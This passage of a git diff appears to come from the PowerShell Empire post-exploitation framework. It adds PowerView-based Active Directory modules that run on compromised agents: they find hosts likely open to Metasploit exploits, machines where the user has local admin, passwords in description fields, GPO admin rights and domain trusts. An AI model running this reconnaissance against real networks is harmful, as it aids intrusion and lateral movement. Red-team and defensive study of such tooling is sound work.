self.mainMenu = mainMenu - - for param in params: - # parameter format is [Name, Value] - option, value = param - if option in self.options: - self.options[option]['Value'] = value - - - def generate(self): - - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1" - - try: - f = open(moduleSource, 'r') - except: - print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) - return "" - - moduleCode = f.read() - f.close() - - script = moduleCode - - if self.options['LDAP']['Value'].lower() == "true": - script += "Get-NetDomainTrustsLDAP | Out-String | %{$_ + \"`n\"};" - else: - script += "Get-NetDomainTrusts | Out-String | %{$_ + \"`n\"};" - - return script diff --git a/lib/modules/situational_awareness/network/get_exploitable_system.py b/lib/modules/situational_awareness/network/get_exploitable_system.py new file mode 100644 index 000000000..393d8474e --- /dev/null +++ b/lib/modules/situational_awareness/network/get_exploitable_system.py @@ -0,0 +1,114 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-ExploitableSystem', + + 'Author': ['Scott Sutherland (@_nullbind)'], + + 'Description': ('Queries Active Directory for systems likely vulnerable to various ' + 'Metasploit exploits.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'Return computers with a specific name, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'SPN' : { + 'Description' : 'Return computers with a specific service principal name, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'OperatingSystem' : { + 'Description' : 'Return computers with a specific operating system, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'Filter' : { + 'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"', + 'Required' : False, + 'Value' : '' + }, + 'Ping' : { + 'Description' : "Switch. Ping each host to ensure it's up before enumerating.", + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to query for computers, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/find_computer_field.py b/lib/modules/situational_awareness/network/powerview/find_computer_field.py new file mode 100644 index 000000000..98760d9f0 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/find_computer_field.py @@ -0,0 +1,104 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Find-ComputerField', + + 'Author': ['@obscuresec', '@harmj0y'], + + 'Description': ("Searches computer object fields for a given word (default *pass*). Default field being searched is 'description'. Part of PowerView."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html', + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'SearchTerm' : { + 'Description' : 'Term to search for, default of "pass".', + 'Required' : False, + 'Value' : '' + }, + 'SearchField' : { + 'Description' : 'Field to search in, default of "description".', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script \ No newline at end of file diff --git a/lib/modules/situational_awareness/network/powerview/find_foreign_group.py b/lib/modules/situational_awareness/network/powerview/find_foreign_group.py new file mode 100644 index 000000000..502b6d392 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/find_foreign_group.py @@ -0,0 +1,98 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Find-ForeignGroup', + + 'Author': ['@harmj0y'], + + 'Description': ("Enumerates all the members of a given domain's groups and finds users that are not in the queried domain. Part of PowerView."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'GroupName' : { + 'Description' : 'Groupname to filter results for, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/get_user.py b/lib/modules/situational_awareness/network/powerview/find_foreign_user.py similarity index 72% rename from lib/modules/situational_awareness/network/get_user.py rename to lib/modules/situational_awareness/network/powerview/find_foreign_user.py index 15fe8ddb4..1b0d892cf 100644 --- a/lib/modules/situational_awareness/network/get_user.py +++ b/lib/modules/situational_awareness/network/powerview/find_foreign_user.py @@ -5,11 +5,11 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Get-NetUser', + 'Name': 'Find-ForeignUser', 'Author': ['@harmj0y'], - 'Description': ('Query information for a given user or users in the specified domain.'), + 'Description': ("Enumerates users who are in groups outside of their principal domain. Part of PowerView."), 'Background' : True, @@ -35,23 +35,18 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'OU' : { - 'Description' : 'The OU to pull users from.', - 'Required' : False, - 'Value' : '' - }, 'UserName' : { - 'Description' : 'Username filter string, wildcards accepted.', + 'Description' : 'Username to filter results for, wildcards accepted.', 'Required' : False, 'Value' : '' }, - 'Filter' : { - 'Description' : 'The complete LDAP query string to use to query for users.', + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', 'Required' : False, 'Value' : '' }, - 'Domain' : { - 'Description' : 'The domain to query for computers.', + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', 'Required' : False, 'Value' : '' } @@ -70,8 +65,10 @@ def __init__(self, mainMenu, params=[]): def generate(self): - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetUser.ps1" + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -82,9 +79,10 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Get-NetUser " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -94,7 +92,7 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - - script += " | Out-String" - + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + return script diff --git a/lib/modules/situational_awareness/network/powerview/find_gpo_computer_admin.py b/lib/modules/situational_awareness/network/powerview/find_gpo_computer_admin.py new file mode 100644 index 000000000..a59773b85 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/find_gpo_computer_admin.py @@ -0,0 +1,113 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Find-GPOComputerAdmin', + + 'Author': ['@harmj0y'], + + 'Description': ('Takes a computer (or GPO) object and determines what users/groups have administrative access over it. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'The computer to determine local administrative access to.', + 'Required' : False, + 'Value' : '' + }, + 'OUName' : { + 'Description' : 'OU name to determine who has local adminisrtative acess to computers within it.', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'Recurse' : { + 'Description' : 'Switch. If a returned member is a group, recurse and get all members.', + 'Required' : False, + 'Value' : '' + }, + 'LocalGroup' : { + 'Description' : 'The local group to check access against, "Administrators", "RDP/Remote Desktop Users", or a custom SID. Defaults to "Administrators".', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/find_gpo_location.py b/lib/modules/situational_awareness/network/powerview/find_gpo_location.py new file mode 100644 index 000000000..33b5c7adc --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/find_gpo_location.py @@ -0,0 +1,108 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Find-GPOLocation', + + 'Author': ['@harmj0y'], + + 'Description': ('Takes a user/group name and optional domain, and determines the computers in the domain the user/group has local admin (or RDP) rights to. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'UserName' : { + 'Description' : 'A (single) user name name to query for access.', + 'Required' : False, + 'Value' : '' + }, + 'GroupName' : { + 'Description' : 'A (single) group name name to query for access.', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'LocalGroup' : { + 'Description' : 'The local group to check access against, "Administrators", "RDP/Remote Desktop Users", or a custom SID. Defaults to "Administrators".', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/find_localadmin_access.py b/lib/modules/situational_awareness/network/powerview/find_localadmin_access.py similarity index 70% rename from lib/modules/situational_awareness/network/find_localadmin_access.py rename to lib/modules/situational_awareness/network/powerview/find_localadmin_access.py index b92f57806..f9d19adb1 100644 --- a/lib/modules/situational_awareness/network/find_localadmin_access.py +++ b/lib/modules/situational_awareness/network/powerview/find_localadmin_access.py @@ -5,12 +5,12 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Invoke-FindLocalAdminAccess', + 'Name': 'Find-LocalAdminAccess', 'Author': ['@harmj0y'], 'Description': ('Finds machines on the local domain where the current user has ' - 'local administrator access.'), + 'local administrator access. Part of PowerView.'), 'Background' : True, @@ -36,23 +36,18 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'Hosts' : { - 'Description' : 'Hosts to enumerate.', + 'ComputerName' : { + 'Description' : 'Hosts to enumerate, comma separated.', 'Required' : False, 'Value' : '' }, - 'HostList' : { - 'Description' : 'Hostlist to enumerate.', - 'Required' : False, - 'Value' : '' - }, - 'HostFilter' : { + 'ComputerFilter' : { 'Description' : 'Host filter name to query AD for, wildcards accepted.', 'Required' : False, 'Value' : '' }, 'NoPing' : { - 'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.', + 'Description' : "Don't ping each host to ensure it's up before enumerating.", 'Required' : False, 'Value' : '' }, @@ -62,7 +57,17 @@ def __init__(self, mainMenu, params=[]): 'Value' : '' }, 'Domain' : { - 'Description' : 'Domain to enumerate for hosts.', + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'Threads' : { + 'Description' : 'The maximum concurrent threads to execute.', 'Required' : False, 'Value' : '' } @@ -81,8 +86,10 @@ def __init__(self, mainMenu, params=[]): def generate(self): - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-FindLocalAdminAccess.ps1" + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -93,9 +100,10 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Invoke-FindLocalAdminAccess " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -106,6 +114,6 @@ def generate(self): else: script += " -" + str(option) + " " + str(values['Value']) - script += ' | Out-String | %{$_ + \"`n\"};"`nInvoke-FindLocalAdminAccess completed"' + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' return script diff --git a/lib/modules/situational_awareness/network/powerview/find_user_field.py b/lib/modules/situational_awareness/network/powerview/find_user_field.py new file mode 100644 index 000000000..79e2b02f7 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/find_user_field.py @@ -0,0 +1,104 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Find-ComputerField', + + 'Author': ['@obscuresec', '@harmj0y'], + + 'Description': ("Searches user object fields for a given word (default *pass*). Default field being searched is 'description'."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html', + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'SearchTerm' : { + 'Description' : 'Term to search for, default of "pass".', + 'Required' : False, + 'Value' : '' + }, + 'SearchField' : { + 'Description' : 'Field to search in, default of "description".', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script \ No newline at end of file diff --git a/lib/modules/situational_awareness/network/powerview/get_computer.py b/lib/modules/situational_awareness/network/powerview/get_computer.py new file mode 100644 index 000000000..aa7d5dfe8 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_computer.py @@ -0,0 +1,128 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-NetComputer', + + 'Author': ['@harmj0y'], + + 'Description': ('Queries the domain for current computer objects. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'Return computers with a specific name, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'SPN' : { + 'Description' : 'Return computers with a specific service principal name, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'OperatingSystem' : { + 'Description' : 'Return computers with a specific operating system, wildcards accepted.', + 'Required' : False, + 'Value' : '' + }, + 'Filter' : { + 'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"', + 'Required' : False, + 'Value' : '' + }, + 'Printers' : { + 'Description' : 'Switch. Return only printers.', + 'Required' : False, + 'Value' : '' + }, + 'Ping' : { + 'Description' : "Switch. Ping each host to ensure it's up before enumerating.", + 'Required' : False, + 'Value' : '' + }, + 'FullData' : { + 'Description' : "Switch. Return full computer objects instead of just system names (the default).", + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to use for the query, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/get_domaincontroller.py b/lib/modules/situational_awareness/network/powerview/get_domain_controller.py similarity index 62% rename from lib/modules/situational_awareness/network/get_domaincontroller.py rename to lib/modules/situational_awareness/network/powerview/get_domain_controller.py index 66745acdb..6fdcf5162 100644 --- a/lib/modules/situational_awareness/network/get_domaincontroller.py +++ b/lib/modules/situational_awareness/network/powerview/get_domain_controller.py @@ -10,7 +10,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], 'Description': ('Returns the domain controllers for the current domain or ' - 'the specified domain.'), + 'the specified domain. Part of PowerView.'), 'Background' : True, @@ -40,6 +40,16 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'The domain to query for domain controllers.', 'Required' : False, 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'LDAP' : { + 'Description' : 'Switch. Use LDAP queries to determine the domain controllers.', + 'Required' : False, + 'Value' : '' } } @@ -56,45 +66,24 @@ def __init__(self, mainMenu, params=[]): def generate(self): - script = """ -function Get-NetDomain { - - [CmdletBinding()] - param( - [String] - $Domain - ) - - if($Domain -and ($Domain -ne "")){ - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } - } - else{ - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} - -function Get-NetDomainController { - [CmdletBinding()] - param( - [string] - $Domain - ) - - $d = Get-NetDomain -Domain $Domain - if($d){ - $d.DomainControllers - } -} -""" - - script += "Get-NetDomainController " + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -104,5 +93,7 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + return script \ No newline at end of file diff --git a/lib/modules/situational_awareness/network/powerview/get_domain_trust.py b/lib/modules/situational_awareness/network/powerview/get_domain_trust.py new file mode 100644 index 000000000..92322af49 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_domain_trust.py @@ -0,0 +1,99 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-NetDomainTrust', + + 'Author': ['@harmj0y'], + + 'Description': ('Return all domain trusts for the current domain or ' + 'a specified domain. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain whose trusts to enumerate, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'LDAP' : { + 'Description' : 'Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/get_forest_domain.py b/lib/modules/situational_awareness/network/powerview/get_forest_domain.py new file mode 100644 index 000000000..c75c38009 --- /dev/null +++ b/lib/modules/situational_awareness/network/powerview/get_forest_domain.py @@ -0,0 +1,88 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-NetForestDomain', + + 'Author': ['@harmj0y'], + + 'Description': ('Return all domains for a given forest. Part of PowerView.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Forest' : { + 'Description' : 'The forest name to query domain for, defaults to the current forest.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = 